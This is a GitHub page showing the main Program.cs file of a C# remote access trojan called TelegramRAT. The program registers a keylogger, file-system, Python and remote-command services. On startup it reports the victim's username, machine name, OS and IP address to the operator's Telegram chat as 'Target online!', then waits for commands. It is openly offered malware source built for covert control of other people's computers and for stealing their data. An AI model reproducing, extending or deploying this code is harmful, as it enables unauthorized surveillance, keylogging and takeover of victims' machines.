Repository navigation
Expand file tree
/
Copy pathProgram.cs
More file actions
343 lines (288 loc) · 13.8 KB
/
Copy pathProgram.cs
File metadata and controls
343 lines (288 loc) · 13.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
using Microsoft.Extensions.DependencyInjection;
using Telegram.Bot.Types.ReplyMarkups;
using Telegram.Bot.Types.Enums;
using TelegramRAT.Utilities;
using TelegramRAT.Commands;
using System.Diagnostics;
using Telegram.Bot.Types;
using Telegram.Bot;
using System.Net;
using System.Text.Json;
using System.Threading;
using TelegramRAT.Services;
using TelegramRAT.Commands.Core;
using TelegramRAT.Commands.System;
using TelegramRAT.Commands.File;
using TelegramRAT.Commands.Remote;
using TelegramRAT.Commands.Misc;
using Telegram.Bot.Polling;
namespace TelegramRAT;
public static class Program
{
private const string BotTokenEnvironmentVariable = "TELEGRAMRAT_BOT_TOKEN";
private const string OwnerIdEnvironmentVariable = "TELEGRAMRAT_OWNER_ID";
private static string BotToken = string.Empty;
private static long OwnerId;
public static ITelegramBotClient Bot { get; private set; } = null!;
private static Mutex? _singleInstanceMutex;
public static async Task Main(string[] args)
{
_singleInstanceMutex = new Mutex(true, "Global\\TelegramRAT_SingleInstance_Mutex", out bool createdNew);
if (!createdNew)
{
Console.WriteLine("Only one instance can be online at the same time!");
return;
}
if (!TryInitializeConfiguration(out var configurationErrorMessage))
{
Console.Error.WriteLine(configurationErrorMessage);
return;
}
var services = ConfigureServices();
using var serviceProvider = services.BuildServiceProvider();
using var cancellationSource = new CancellationTokenSource();
ConsoleCancelEventHandler? cancelHandler = null;
cancelHandler = (_, eventArgs) =>
{
Console.WriteLine("Cancellation requested. Shutting down gracefully...");
eventArgs.Cancel = true;
cancellationSource.Cancel();
};
Console.CancelKeyPress += cancelHandler;
var restartAttempt = 0;
try
{
while (!cancellationSource.IsCancellationRequested)
{
TimeSpan? delayBeforeRestart = null;
try
{
Console.WriteLine("Starting Telegram bot polling.");
var botClient = serviceProvider.GetRequiredService<ITelegramBotClient>();
Bot = botClient;
var dispatcher = serviceProvider.GetRequiredService<ICommandDispatcher>();
var notificationService = serviceProvider.GetRequiredService<IBotNotificationService>();
var winApiService = serviceProvider.GetRequiredService<IWinApiService>();
var networkService = serviceProvider.GetRequiredService<INetworkService>();
var allCommands = serviceProvider.GetServices<IBotCommand>();
var myCommands = allCommands
.Where(c => !string.IsNullOrWhiteSpace(c.Description) && !string.IsNullOrWhiteSpace(c.Command))
.Select(c => new Telegram.Bot.Types.BotCommand { Command = c.Command, Description = c.Description })
.ToList();
try
{
await botClient.SetMyCommands(myCommands, cancellationToken: cancellationSource.Token);
}
catch (Exception ex)
{
Console.WriteLine($"Failed to set bot commands: {ex.Message}");
}
await RunAsync(botClient, dispatcher, notificationService, winApiService, networkService, cancellationSource.Token);
break;
}
catch (OperationCanceledException) when (cancellationSource.IsCancellationRequested)
{
Console.WriteLine("Cancellation acknowledged. Exiting.");
break;
}
catch (Exception ex)
{
restartAttempt++;
if (!await HandleRunFailureAsync(serviceProvider.GetRequiredService<IBotNotificationService>(), ex, cancellationSource.Token, restartAttempt))
{
break;
}
delayBeforeRestart = CalculateRestartDelay(restartAttempt);
}
if (delayBeforeRestart.HasValue && !cancellationSource.IsCancellationRequested)
{
var delay = delayBeforeRestart.Value;
Console.WriteLine($"Waiting {delay.TotalSeconds:F0} seconds before restart (attempt {restartAttempt}).");
try
{
await Task.Delay(delay, cancellationSource.Token);
}
catch (OperationCanceledException)
{
Console.WriteLine("Cancellation requested during restart delay. Exiting.");
break;
}
}
}
}
finally
{
Console.CancelKeyPress -= cancelHandler;
}
}
private static IServiceCollection ConfigureServices()
{
var services = new ServiceCollection();
services.AddHttpClient();
// Infrastructure
services.AddSingleton<ITelegramBotClient>(sp => new TelegramBotClient(BotToken));
services.AddSingleton<IBotNotificationService, BotNotificationService>();
services.AddSingleton<IBotSession>(sp => new BotSession(OwnerId));
services.AddSingleton<IWinApiService, WinApiService>();
services.AddSingleton<IFileSystemService, FileSystemService>();
services.AddSingleton<IKeyloggerService, KeyloggerService>();
services.AddSingleton<IPythonService, PythonService>();
services.AddSingleton<INetworkService, NetworkService>();
services.AddSingleton<ICommandDispatcher>(sp => new CommandDispatcher(
sp.GetServices<IBotCommand>(),
sp.GetRequiredService<ITelegramBotClient>(),
sp.GetRequiredService<IBotNotificationService>(),
sp.GetRequiredService<IBotSession>()));
// Auto-discover and register all bot commands
var commandTypes = typeof(Program).Assembly.GetTypes()
.Where(t => typeof(IBotCommand).IsAssignableFrom(t) && !t.IsInterface && !t.IsAbstract);
foreach (var type in commandTypes)
{
services.AddSingleton(typeof(IBotCommand), type);
}
return services;
}
private static bool TryInitializeConfiguration(out string errorMessage)
{
var (botTokenValue, ownerIdValue, configurationSourceDescription) = LoadConfiguration();
if (string.IsNullOrWhiteSpace(botTokenValue))
{
errorMessage =
"BotToken was not provided. Set the TELEGRAMRAT_BOT_TOKEN environment variable or add it to appsettings.json.";
return false;
}
if (!long.TryParse(ownerIdValue, out var ownerId) || ownerId <= 0)
{
errorMessage =
"OwnerId was not provided or is invalid. Set the TELEGRAMRAT_OWNER_ID environment variable or add a numeric value to appsettings.json.";
return false;
}
BotToken = botTokenValue;
OwnerId = ownerId;
Console.WriteLine($"TelegramRAT starting. Configuration source: {configurationSourceDescription}. Owner chat ID: {OwnerId}.");
errorMessage = string.Empty;
return true;
}
private static (string? BotToken, string? OwnerId, string ConfigurationSourceDescription) LoadConfiguration()
{
string? botToken = Environment.GetEnvironmentVariable(BotTokenEnvironmentVariable);
string? ownerId = Environment.GetEnvironmentVariable(OwnerIdEnvironmentVariable);
var configurationSources = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
if (!string.IsNullOrWhiteSpace(botToken) || !string.IsNullOrWhiteSpace(ownerId))
{
configurationSources.Add("environment variables");
}
var configurationFilePath = Path.Combine(AppContext.BaseDirectory, "appsettings.json");
if (File.Exists(configurationFilePath))
{
try
{
using var document = JsonDocument.Parse(File.ReadAllText(configurationFilePath));
var root = document.RootElement;
if (root.TryGetProperty("BotToken", out var botTokenElement))
{
var candidate = botTokenElement.GetString();
if (!string.IsNullOrWhiteSpace(candidate) && string.IsNullOrWhiteSpace(botToken))
{
botToken = candidate;
configurationSources.Add("appsettings.json");
}
}
if (root.TryGetProperty("OwnerId", out var ownerIdElement))
{
var candidate = ownerIdElement.GetString();
if (!string.IsNullOrWhiteSpace(candidate) && string.IsNullOrWhiteSpace(ownerId))
{
ownerId = candidate;
configurationSources.Add("appsettings.json");
}
}
}
catch (JsonException ex)
{
Console.Error.WriteLine($"Failed to read configuration from appsettings.json: {ex.Message}");
}
catch (IOException ex)
{
Console.Error.WriteLine($"Failed to access appsettings.json: {ex.Message}");
}
}
if (configurationSources.Count == 0)
{
configurationSources.Add("no configuration source detected");
}
var configurationSourceDescription = string.Join(" & ", configurationSources.OrderBy(source => source));
return (botToken, ownerId, configurationSourceDescription);
}
private static TimeSpan CalculateRestartDelay(int attempt)
{
var seconds = Math.Min(60, Math.Pow(2, Math.Min(10, attempt)));
return TimeSpan.FromSeconds(seconds);
}
private static async Task<bool> HandleRunFailureAsync(IBotNotificationService notificationService, Exception exception, CancellationToken cancellationToken, int attempt)
{
Console.Error.WriteLine($"Bot run failed on attempt {attempt}: {exception}");
var isConflict = IsConflictException(exception);
if (OwnerId > 0)
{
var ownerMessage = new Message { Chat = new Chat { Id = OwnerId } };
try
{
await notificationService.ReportExceptionAsync(ownerMessage, exception);
if (isConflict)
{
await notificationService.SendErrorAsync(ownerMessage, new Exception("Only one bot instance can be online at the same time."));
}
else if (!cancellationToken.IsCancellationRequested)
{
await Bot.SendMessage(
OwnerId,
$"Attempting to restart (attempt {attempt}). Please wait...",
parseMode: ParseMode.Html
);
}
}
catch (Exception notificationError)
{
Console.Error.WriteLine($"Failed to notify owner about the error: {notificationError}");
}
}
if (isConflict)
{
return false;
}
return !cancellationToken.IsCancellationRequested;
}
private static bool IsConflictException(Exception exception)
=> exception.Message.Contains("Conflict: terminated by other getUpdates request", StringComparison.OrdinalIgnoreCase)
|| exception.InnerException?.Message.Contains("Conflict: terminated by other getUpdates request", StringComparison.OrdinalIgnoreCase) == true;
private static async Task RunAsync(ITelegramBotClient botClient, ICommandDispatcher dispatcher, IBotNotificationService notificationService, IWinApiService winApiService, INetworkService networkService, CancellationToken cancellationToken)
{
var markup = new InlineKeyboardMarkup(InlineKeyboardButton.WithCallbackData("Show All Commands"));
var systemInfo = $"Target online!\n\nUsername: <b>{Environment.UserName}</b>\nPC name: <b>{Environment.MachineName}</b>\nOS: {winApiService.GetWindowsVersion()}\n\nIP: {await networkService.GetIpAddressAsync(cancellationToken)}";
await botClient.SendMessage(
OwnerId,
systemInfo,
ParseMode.Html,
replyMarkup: markup,
cancellationToken: cancellationToken
);
ReceiverOptions receiverOptions = new()
{
AllowedUpdates = Array.Empty<UpdateType>() // Receive all update types
};
await botClient.ReceiveAsync(
updateHandler: async (bot, update, ct) => await dispatcher.DispatchAsync(update),
errorHandler: async (bot, ex, ct) =>
{
Console.Error.WriteLine($"Polling error: {ex}");
if (OwnerId > 0)
{
var ownerMessage = new Message { Chat = new Chat { Id = OwnerId } };
await notificationService.ReportExceptionAsync(ownerMessage, ex);
}
},
receiverOptions: receiverOptions,
cancellationToken: cancellationToken
); }
}